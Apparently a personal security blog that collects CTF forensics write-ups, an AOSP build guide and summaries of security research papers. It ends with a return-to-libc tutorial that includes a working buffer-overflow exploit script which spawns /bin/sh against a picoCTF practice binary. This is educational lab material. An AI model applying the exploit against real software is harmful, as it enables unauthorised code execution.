Hack The Vote CTF 2016


Warp Speed 150

Our Trump advertising campaign is incredible, it’s skyrocketing! It’s astronomical! Wait stop!! SLOW DOWN!!!

File: warp_speed.5978d1405660e365872cf72dddc7515603f657f12526bd61e56feacf332cccad.jpg

warp_speed.5978d1405660e365872cf72dddc7515603f657f12526bd61e56feacf332cccad.jpg

As you could clearly see, they have sliced a single image into several slices and split it into two halves. The first part of the challenge is to slice the image into several slices from the left side of the image and right side of the image. We used a slicer script using python PIL: slicer.py. A slice has a height of 7 pixels. Thus we have got 36 slices from the left side and right side of the image.


#!/usr/bin/env python2.7
from __future__ import division
from PIL import Image
import math
import os
def long_slice(image_path, out_name, outdir, slice_size):
"""slice an image into parts slice_size tall"""
img = Image.open(image_path)
width, height = img.size
upper, left = 0, 0
slices = int(math.ceil(height/slice_size))
count = 1
for slice in range(slices):
# if we are at the end, set the lower bound to be the bottom of the image
if count == slices: lower = height
else: lower = int(count * slice_size)
# set the bounding box! The important bit
bbox = (left, upper, width, lower)
working_slice = img.crop(bbox)
upper += slice_size
# save the slice
slice_name = './' + out_name + "/slice_"
working_slice.save(os.path.join(outdir, slice_name + out_name + "_" + \
str(count) + ".png"))
count +=1
def check_if_directory_exists(directory):
"""creats a directory if it doesn't exist"""
if not os.path.exists(directory):
os.makedirs(directory)
if __name__ == '__main__':
check_if_directory_exists("left")
check_if_directory_exists("right")
img = Image.open('warp_speed.5978d1405660e365872cf72dddc7515603f657f12526bd61e56feacf332cccad.jpg')
w, h = img.size
half_width = int(w/2)
img_left = img.crop((0, 0, half_width, h)).save('warp-left.png')
img_right = img.crop((half_width, 0, w, h)).save('warp-right.png')
# slice_size is the max height of the slices in pixels
long_slice("warp-right.png", "right", os.getcwd(), 7)
long_slice("warp-left.png", "left", os.getcwd(), 7)

view raw

slicer.py

hosted with ❤ by GitHub

Now it’s time to join one each from left and right one by one to make a single portrait image.  We wrote another script to join them and make a single image: merge_image.py


#!/usr/bin/env python2.7
from PIL import Image
import glob
# list to hold image file names
left_images = []
right_images = []
left_file_count = len(glob.glob("left/*.png"))
right_file_count = len(glob.glob("right/*.png"))
file_count = max(left_file_count, right_file_count)
# sliced the images into 36 pieces horizontally
for i in range(1, file_count + 1):
right_file = './right/slice_right_' + str(i) + '.png'
left_file = './left/slice_left_' + str(i) + '.png'
right_images.append(right_file)
left_images.append(left_file)
images_left = list(map(Image.open, left_images))
images_right = list(map(Image.open, right_images))
# calculating the max image height
max_height = 0
for im in images_left:
max_height += im.size[1]
for im in images_right:
max_height += im.size[1]
new_im = Image.new('RGB', (500, max_height))
y_offset = 0
x_offset = 0
for i in range(1, file_count):
# correcting the shift in every 4 slices
if i % 6 == 0: x_offset -= 1
new_im.paste(images_left[i], (x_offset, y_offset))
y_offset += images_left[i].size[1]
new_im.paste(images_right[i], (x_offset, y_offset))
y_offset += images_right[i].size[1]
# rotating the image to make it readable
rot_img = new_im.rotate(90)
rot_img.save('flag.jpg')

view raw

merge_image.py

hosted with ❤ by GitHub

flag.jpg

Flag: flag{1337_ph0t0_5k1lls}

Electioneering (250 Points)

We confiscated this poster that was being handed out at polling places. It doesn’t appear to be supporting a candidate, but we’d like you to take a look just to be sure.

poster

Upon receiving the PNG image, I ran the binwalk image over the file. To my surprise, it had a zip file embedded in it which was password protected.


➜ forensics [0] binwalk poster.png
DECIMAL HEXADECIMAL DESCRIPTION
————————————————————————-
0 0x0 PNG image, 863 x 922, 8-bit/color RGB, non-interlaced
41 0x29 Zlib compressed data, default compression
441703 0x6BD67 Zip archive data, encrypted at least v2.0 to extract, compressed size: 38, uncompressed size: 26, name: flag.txt
441869 0x6BE0D End of Zip archive
➜ _poster.png.extracted [0] ls
29 29.zlib 6BD67.zip flag.txt out
➜ _poster.png.extracted [0] unzip 6BD67.zip
Archive: 6BD67.zip
[6BD67.zip] flag.txt password:
password incorrect–reenter:
password incorrect–reenter:
skipping: flag.txt incorrect password

view raw

zshout.zsh

hosted with ❤ by GitHub

So our task was to find the password for the zip file to extract the flag.txt file.

Upon loading the image in the stegsolve tool, we were able to find some noise in the top left corner in the gray bits of the poster.png file and solved it as gray_bits.bmp

Screenshot_20161125_103214.png

While zooming into the image (using gimp), you could see that the height of the noise is 4 pixels.

screenshot_20161125_103747


#!/usr/bin/env python3
from PIL import Image
flag_img = Image.open('gray_bits.bmp')
w, h = flag_img.size
msg = ""
for y in range(4):
for x in range(44):
r, g, b = flag_img.getpixel((x, y))
if r == 255 or g == 255 or b == 255: msg += str(1)
else : msg += str(0)
print (str((hex(int(msg, 2))))[2:-1].decode('hex'))

And it prints: IrateAnagramCakeImage

This should be the password of the zip file.


➜ forensics [0] python extract_first_row.py
IrateAnagramCakeImage
➜ _poster.png.extracted [0] unzip 6BD67.zip
Archive: 6BD67.zip
[6BD67.zip] flag.txt password:
replace flag.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
extracting: flag.txt
➜ _poster.png.extracted [0] cat flag.txt
flag{4nd_th3_w1nn3r_15…}

view raw

poster_out.sh

hosted with ❤ by GitHub

Flag: flag{4nd_th3_w1nn3r_15…}

TOPKEK 50

A CNN reporter had only one question that she couldn’t get off her mind

Do we even know, who is this 4 CHAN???

So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?

kek


KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP

We considered KEK as 0 in binary and TOP as 1 in binary and ‘!’ is number of times zero or one is repeated. We wrote a script to read the flag from the kek script.


#!/usr/bin/env python3
import binascii
file = open('kek.txt', 'rb')
file_content = file.read()
content_list = file_content.split()
binary_list = []
for content in content_list:
if b'KEK' in content: value = '0'
else: value = '1'
exclam_count = content.count(b'!')
binary_list += value * exclam_count
binary_string = "".join(binary_list)
print "".join([ chr(int(binary_string[i:i+8],2)) for i in range(0,len(binary_string), 8) ])

view raw

kek_exploit.py

hosted with ❤ by GitHub

Flag: flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}

 

RC3 CTF


Recently I participated in an entry level CTF and solved few forensics challenges in it.

Somepang (Forensics 50 points)

A pcap file was given : <link to file>

Upon opening the file in Wireshark, you could see that it has ICMP packets. And the interesting fact is that two bytes are unique in each echo-reply packets but repeats several times within the same.

Screenshot_20161124_212516.png

I wrote a python script to extract last two bytes from the pcap.


#!/usr/bin/env python2.7
from pcapfile import savefile
import base64
testcap = open('somepang.pcap', 'r')
capfile = savefile.load_savefile(testcap, verbose=True)
msg = ""
for i in xrange(0, len(capfile.packets)-1, 2):
msg += str(capfile.packets[i])[-2:]
data = base64.decodestring(msg)
f = open('somepang-flag.jpg', 'w')
f.write(data)
f.close()
testcap.close()
print "[+] Result in: somepang-flag.jpg"

somepang-flag

Flag: RC3-2016-PANG-ME-LIKE-ONE-OF-YOUR-FRENCH-GORILLAZ

My Lil Droid (Forensics 100 Points)

This is one among the easiest task in the forensics section. A Youtube.apk files was given.

I used strings and searched with RC3 and then with 2016. I was able to find base64 encoded strings which looks like a flag (RC3-2016-SOMESTRING)


(ctftools) ➜ youtube [0] strings youtube.apk|grep "RC3-"
(ctftools) ➜ youtube [1] strings youtube.apk|grep "2016"
2016-06-22T14:35:33-07:00
2016-06-22T14:35:33-07:00a
2016-06-22T14:34:18-07:00
2016-06-22T14:34:18-07:00
build.tool=Blaze, release blaze-2016.04.14-4 (mainline @119748905)
build.time=Tue May 31 15\:02\:21 2016 (1464732141)
UkMz-2016-R09URU0yMQ==
(ctftools) ➜ youtube [0] echo -ne "UkMzR09URU0yMQ==" | base64 -d
RC3GOTEM21

Flag: RC3-2016-GOTEM21

Graphic Design (Forensics 200)

A blender object file was given. Upon loading the object file in blender application, a 3D model was dinosaur was opened. I was able to see various layers and disabled all of them except the layer named def_not_the_flag_Text.002

screenshot_20161124_212828screenshot_20161124_212900

Flag: RC3-2016-St3GG3rz

Breaking News (Forensics 300)

A zipfile was given and it contained 20 zip files. Usually, zip file end with a signature PK followed by bunch of 0x00s. But while inspecting the tail of certain zip (4, 9, 10, 12, 15) files, I could see base64 encoded strings.


#!/usr/bin/env python2
import binascii
import base64
flag=""
for i in range(0, 20):
f = open('Chapter' + str(i) + '.zip', 'r')
content = f.read()
hex_text = binascii.hexlify(content)
if int(hex_text[-2:], 16) != 0:
flag_hex = (hex_text[-16:].rstrip('=')).decode('hex')
flag += base64.b64decode(flag_hex + '=' * (-len(flag_hex) % 4)).strip('\n')
f.close()
print flag

Flag: RC3-2016-DUKYFBLS

DTrump (Forensics 400 )

File: dtrump.img.zip was given and it contains a ISO 9660 CD-ROM filesystem data ‘CDROM’.

I mounted the ISO into my machine.


➜ rc3 [0] sudo mount -t iso9660 -o loop,rw dtrump.img /mnt/disk
mount: /dev/loop0 is write-protected, mounting read-only
➜ rc3 [0] cd /mnt/disk/
➜ disk [0] ls
Desktop Documents Downloads examples.desktop Music Pictures Public rr_moved secretfiles Templates Videos
➜ disk [0] cd secretfiles
➜ secretfiles [0] ls master [5fe6ff3] deleted untracked
document.txt README.md Workbook1.xlsx.gpg
➜ secretfiles [0] cat document.txt master [5fe6ff3] deleted untracked
passowrd123
➜ secretfiles [0] git status master [5fe6ff3] deleted untracked
On branch master
Your branch is up-to-date with 'origin/master'.
Changes not staged for commit:
(use "git add/rm <file>…" to update what will be committed)
(use "git checkout — <file>…" to discard changes in working directory)
deleted: private.key
Untracked files:
(use "git add <file>…" to include in what will be committed)
README.md
Workbook1.xlsx.gpg
document.txt
no changes added to commit (use "git add" and/or "git commit -a")
➜ secretfiles [0] git checkout private.key master [5fe6ff3] deleted untracked
fatal: Unable to create '/mnt/disk/secretfiles/.git/index.lock': Read-only file system
➜ secretfiles [128]

I was able to find a folder called secretfiles, which is a git repository. As the ISO is always mounted as read-only, I was not able to checkout the deleted private.key file. There is an excel file called Workbook1.xlsx.gpg which is encrypted using this private key. Hence I copied the secretfiles directory into my filesystem where I can read/write. I used the private key to decrypt the XLSX file.


➜ secretfiles [0] git checkout private.key
➜ secretfiles [0] ls master [5fe6ff3] untracked
document.txt private.key README.md Workbook1.xlsx.gpg
➜ secretfiles [0] gpg –import private.key master [5fe6ff3] untracked
gpg: key 8FFDF6D6: secret key imported
gpg: key 8FFDF6D6: public key "ThugG (lolz) <nope@gmail.com>" imported
gpg: Total number processed: 1
gpg: imported: 1 (RSA: 1)
gpg: secret keys read: 1
gpg: secret keys imported: 1
➜ secretfiles [2] gpg –output Workbook1.xlsx -d Workbook1.xlsx.gpg master [5fe6ff3] untracked
gpg: encrypted with 1024-bit RSA key, ID E22CB12D, created 2016-11-18
"ThugG (lolz) <nope@gmail.com>"
➜ secretfiles [0] kde-open Workbook1.xlsx

The LibreOffice opened up with a password prompt and I provided password123 which was determined by examining the document.txt file. The flag was present in the sheet 2.

Screenshot_20161125_160147.png

Flag: RC3-2016-SNEAKY21

 

Building AOSP source code


 

  1. System info

Kernel Linux 3.13.0-55-generic x86_64 x86_64 x86_64 GNU/Linux
LSB release Ubuntu 14.04.2 LTS
gcc gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04)
make GNU Make v3.81
Primary Mem 7.7G
Swap 2.8G
Processor Intel(R) Core(TM) i5-4210U CPU @ 1.70GHz * 4
  1. Setting up linux environment

    Installing JDK

    $ sudo apt-get install openjdk-7-jdk

    Update JDK to OpenJDK: Manually choose the version of OpenJDK from the list

    $ sudo update-alternatives --config java
    $ sudo update-alternatives --config javac

    Installing other debian packages required for building

    $ sudo apt-get install bison g++-multilib git gperf libxml2-utils make python-networkx zlib1g-dev:i386 zip

    Optimizing a build environment: Compiler cache to fasten up building

    $ export USE_CCACHE=1
    $ export CCACHE_DIR=/tmp/.cache
    $ prebuilts/misc/linux-x86/ccache/ccache -M 50G
  2. Downloading the source

    Installing repo: a tool to fetch the source code of AOSP

    $ mkdir ~/bin 
    $ PATH=~/bin:$PATH
    $ curl https://storage.googleapis.com/git-repo-downloads/repo > ~/bin/repo
    $ chmod a+x ~/bin/repo

    Initializing a repo client: After installing Repo, set up our client to access the Android source repository

    $ mkdir WORKING_DIRECTORY
    $ cd WORKING_DIRECTORY
    $ repo init -u https://android.googlesource.com/platform/manifest

    Downloading the Android source tree

    $ repo sync
  3. Building Source

    Run a script to capture the terminal session for build logs

    $ sudo apt-get install bsd-utils
    $ script -t -a 2> /tmp/time.txt /tmp/record.txt

    Initialize Build

    $ source build/envsetup.sh

    Choose a target

    $ lunch aosp_arm-eng

    Build the code

    $ date; make -j32; date;
  1. Statistics

  2. More information about statistics is included in the records.txt (terminal logs) and log (memory and process log)
Size before the build 39.7 GB
Size after the build 67 GB
Build start time 12:04:56 IST
Build end time 13:35:26 IST
Total build time 01:30:30
  • Emulator:

    After a successful build, emulator tool will be installed in the host machine. Build version is 5.1.1_r8

    AOSP_ROM1.png

Paper reading 1


I will post some of the research papers which I have read as a part of the literature survey for my master’s degree thesis:

Security Analysis of Android Factory Resets (AFR)[1]

Introduction

  • Raises doubts against the current security of the factory settings of Android devices
  • Improper sanitization of the data partition leads to exposure/recovery of user credentials due to flawed factory reset

Problem definition

  • The amount of data left behind by flawed implementations
  • The drivers being flawed
  • Critical failures of AFR pointed out by the researchers
    • The lack of Android support for proper deletion of data partition
    • Incompleteness of upgrades pushed to flaws by vendors
    • The lack of driver support for proper deletion shipped by vendors in new devices
    • The lack of Android support in the deletion of internal and external SD card in all SDKs
    • The fragility of full-disk encryption to mitigate problem upto Android v4.4

Contribution of the research paper

  • The first comprehensive study of AFR, by analyzing the security of 21 devices from 5 different vendors running Android v2.3x – v4.3
  • Discovered critical failures of the Android OS and/or vendor shipped devices for the secure deletion of user data and account details during AFR .
  • Suggestion for improving for Google and vendors to mitigate the future risks

Mentioned about three ioctl() functions MEMERASE, BLKDISCARD, BLKSECDISCARD,  used for sanitising the data partitions.

Results

  1. The sanitisation of the external storage occurs only if a user selects the additional option “External Storage” or “Secondary Storage” in the AFR
  2. Data partitions store the confidential data about Google and third party apps. It was found that devices which were upgraded from v2.3 to v4.0 doesn’t update the device driver for ioctl to execute BLKSECDISCARD on the logical sanitising functionality from the underlying eMMC.
  3. The phones released with newer version of Android ICS and JB seems to have the same issues as the mobile phone vendor hasn’t provided the updated device drivers of ioctl() to call secure logical sanitization functions.

Suggestions to improve

  1. An app to overwrite the entire partition “bit-by-bit”. But it requires root permission
  2. AOSP supports full disk encryption but it is uses user (4-6 digit) PIN to encrypt the entire data/external partition.

Open research questions

  1. Investigate security of digital sanitisation of very recent devices (models above Android v4.4) after an AFR

ROP is still Dangerous: Breaking Modern Defences[2]

Problem statement:
Failures of existing ROP defense mechanism

Novelty:

  1. Introduces three novel techniques to bypass the existing defense mechanism of ROP attacks.
  2. A baseline set of attacks that can be used to evaluate future ROP defenses
  3. Bypasses the state-of-art ROP defenses including kBouncer and ROPecker

Existing ROP defense techniques:

  1. Call preceded ROP: Normally, every ret instruction returns back to an instruction that immediately follows a corresponding call. ROP attacks deviate from this pattern.
  2. Evasion attacks: Anomaly detection at runtime. ROP attacks tries to make it appear as normal. ROP defenses check if there’s any short gadgets. Discards long gadgets. An attacker can evade this protection by using long gadgets.
  3. History Flushing: Defense inspect limited memory execution history and inspect them for any possible ROP attacks. This could be evaded by overwriting with a fake history

kBouncer

Overview

  1. Inspects last 16 indirect branches taken each time the program invokes a system call
  2. It verifies that all ret instructions in the LBR returned to a call-preceded address.
  3. If the eight most recent indirect branches are all gadget like, the process is killed

Attack overview

  1. Initial exploitation: A traditional ROP payload is mounted in the easiest way discarding the fact that kBouncer is present in the system. Memory is prepared to make syscalls but not yet ready to invoke
  2. Hide the history: Before invoking a system call, history hiding attack is launched. As a side effect, the registered may be clobbered but memory locations remains unchanged. A termination gadget is used to terminate kBouncer’s backward search for gadget like sequences.
  3. Restore the registers and issue system call: After bringing the process into a valid state, the registered are restored into their desired values. Then system call is issued via evasion attack. It is achieved using less than 8 call-preceded gadgets

Requirements for future defenses against ROP

  1. Either the defenses should have access to all the previous history or with the limited history should not be cleared out by the attacker.
  2. Defenses that defend against one specific aspect of ROP must argue that is a necessary component of one

Open research problem

  1. A general purpose defense against ROP attacks
  2. Find the fundamental difference between the ROP attacks and typical program execution

Android Prespective

kBouncer and ROPecker is not yet implemented for Android. Hence Android kernels are vulnerable to ROP attacks.

Dune: Safe User-Level Access to Privileged CPU features[3]

Dune provides applications with direct but safe access to hardware features such as ring protection, page tables and tagged TLB. Dune uses the virtualization hardware in modern processors to provide a process than a machine abstraction. It includes a small kernel module that instantiates virtualization hardware and mediates interactions with kernel and a user level library that helps applications manage privileged hardware features. Applications of Dune: sandboxing, privilege separation, and garbage collection.

Contributions

  1. A design that uses hardware-assisted virtualization to safely and efficiently expose privileged hardware features to user programs while preserving standard OS abstractions.
  2. Evaluates three hardware features in detail and show how they can benefit user programs: exceptions, paging, and privilege modes.
  3. Demonstration of the end-to-end utility of Dune by implementing and evaluating three use cases: sandboxing, privilege separation, and garbage collection

Open research topics

  1. Currently supports x86 CPUs and Intel VT-x. Could be extended to ARM x86 and x64. Requires to create an efficient architecture independent interface of libDune.
  2. Utilities in libDune are not thread safe. Support of libc Signal calls (signal, sigaction)
  3. Android sandboxing could be achieved by implementing Dune (VMX ring3, non root mode) on top of the underlying Linux kernel. ART could run on top of Dune.

References:

[1] http://www.cl.cam.ac.uk/~rja14/Papers/fr_most15.pdf

[2] http://nicholas.carlini.com/papers/2014_usenix_ropattacks.pdf

[3] http://www.scs.stanford.edu/~dm/home/papers/belay:dune.pdf

Return to libc attack


What if we are on a system with non-executable stack? Or a system that carefully distinguishes between data and instructions, so that our data will not be executable? Then the return address must be overwritten with an address of our choice that points at executable code that was present already.

In this example, I am going to explain a problem from 2013 picoCTF (overflow 5)

Dump of assembler code for function vuln:
   0x080484c0 :     sub    esp,0x41c
   0x080484c6 :     mov    eax,DWORD PTR [esp+0x420]
   0x080484cd :    mov    DWORD PTR [esp+0x4],eax
   0x080484d1 :    lea    eax,[esp+0x10]
   0x080484d5 :    mov    DWORD PTR [esp],eax
   0x080484d8 :    call   0x8048380 
   0x080484dd :    add    esp,0x41c
   0x080484e3 :    ret    
End of assembler dump.

If you have a look at the highest addresses of a linux ELF binary via gdb, when it is
first loaded into memory, you’ll see something like this:

--------------------- 0xBFFFFFFF
|\x00 \x00 \x00 \x00| 0xBFFFFFFB (4 NULL byte)
|\x00 ........      | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................|           ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
|          .        |
|          .        |
|          .        |

The standard trick is to use the system() libc library call. We’ll do a system("/bin/sh") call. Make the return address point at system(), and prepare the stack so that this routine finds its argument on the stack. We need the addresses of system() and "/bin/sh" and (for a clean exit) of exit().

First find the addresses of system() and exit() in libc

$ gdb overflow5-0353c1a83cb2fa0d                                                                                                                                               
gdb-peda$ break main
Breakpoint 1 at 0x80483c3
gdb-peda$ r
.
.
Breakpoint 1, 0x080483c3 in main ()
gdb-peda$ p system
$1 = {} 0xb7e5f060 
gdb-peda$ p exit
$2 = {} 0xb7e52be0

In-order to exploit this vulnerable program, you have to setup the program stack like this:
Stack

  • Above figure illustrates the contents of the stack after buffer overflow. First 1032 bytes occupies the actual memory allocated to the stack. So during the overflow attack I kept first 1032 bytes buffer empty or with ‘A’s
  • Next 4 bytes would be the pointer to the previous stack frame. So this contains the memory address of the stack frame of the main() method. So next 4 bytes of the buffer is empty as well. So first 1036 bytes of the buffer array could be empty or filled with any arbitrary value during the attack.
  • Originally next 4 bytes represent the return address of the vuln() function. So after function execution, program will return to the code line of this address. This would be the prominent target of the stack overflow attack. During the overflow this 4 bytes (1037 – 1040) was overridden with the memory address of the system() libc function.
  • After the completion of system() function, execution will return to the address specified in this 4 bytes block. So address of the exit() function should be place in this 4 bytes. (1041 – 1044).
  • During the execution of system() function, program will look up next 4 bytes for any available arguments of system() function call (1045 – 1049). So this 4 bytes contains the address to “/bin/sh” string

.
This is how the exploit looks like:

#!/usr/bin/env python
from os import execve
from struct import pack
from platform import machine

system = 0xb7e5f060       # Address of system()
exit  = 0xb7e52be0        # Address of exit()

#  Program to exploit
vuln = "./overflow5-0353c1a83cb2fa0d"

arg = "/bin/sh"
env = {"":arg}

# Calculate address of binsh on stack
if machine() == 'x86_64': binsh = 0xffffe000 - 0x8 - len(vuln) - len(arg) - 0x2
else: binsh = 0xc0000000 - 0x4 - len(vuln) - len(arg) - 0x2

payload = "A" * 1036            # buffer + EBP
payload += pack("<I", system)   # system()
payload += pack("<I", exit)     # exit()
payload += pack("<I", binsh)    # addr("/bin/sh")

# Execute program with payload
execve(vuln, [vuln, payload], env)